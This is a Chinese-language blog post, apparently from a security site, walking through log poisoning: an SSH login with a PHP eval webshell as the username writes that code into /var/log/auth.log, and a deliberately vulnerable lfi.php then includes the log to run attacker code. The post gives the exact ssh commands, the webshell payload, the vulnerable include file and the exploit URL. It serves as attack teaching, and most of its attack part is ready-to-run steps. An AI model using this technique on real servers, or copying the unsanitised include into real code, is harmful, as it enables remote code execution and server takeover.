请注意,本文编写于 2657 天前,最后修改于 1095 天前,其中某些信息可能已经过时。
通过ssh日志对lfi漏洞进行投毒
环境描述
目标网站【A主机:www.03sec.com】
- linux系统
- 开启了ssh
- 网站存在lfi漏洞,http://www.03sec.com/lfi.php?file=lfi.php
实现步骤
ssh会默认记录登录的日志,日志存放在
/var/log/auth.log
当我们进行正常登录的时候,如下:
ssh [email protected]
然后会提示输入密码
然后我们随便输入错误的密码,在我们本地测试的机器上看到如下日志:
是记录验证错误的日志
我们将登录的用户名换成一句话后门,有什么效果?使用以下命令进行测试。
ssh "<?php @eval($_POST['c']);?>"@192.168.1.111
然后和上面一样,是要随便输入密码,将错误信息保存到日志里面,然后我们再次查看日志
发现我们的一句话后门成功写入了日志,这时候我们将这个过程放到测试环境去尝试一下。
我在我博客根目录下面创建了一个名叫lfi.php的文件,内容如下:
<?php
$file=$_GET['file'];
if (isset($file))
include("$file");
else
include("sky.php")
?>
这是一个简单的lfi漏洞例子
然后我服务器开启了ssh日志记录,日志记录的位置也是默认的。
我们首先对服务器进行ssh连接。
ssh "<?php @eval($_POST['c']);?>"@www.03sec.com
密码随便输入,然后访问lfi漏洞页面
www.03sec.com/lfi.php?file=/var/log/auth.log
页面显示如下:
可以看到,输入的用户名
<?php @eval($_POST['c']);?>
没有进行显示,说明执行了。
然后使用一句话后门访问的方式进行POST访问,如下图
可以看到已经执行了phpinfo();
限制:
- ssh 需要开启日志记录
- 网站存在lfi漏洞
- php 访问/var/log/auth.log 为可读
- 或许还有其他限制?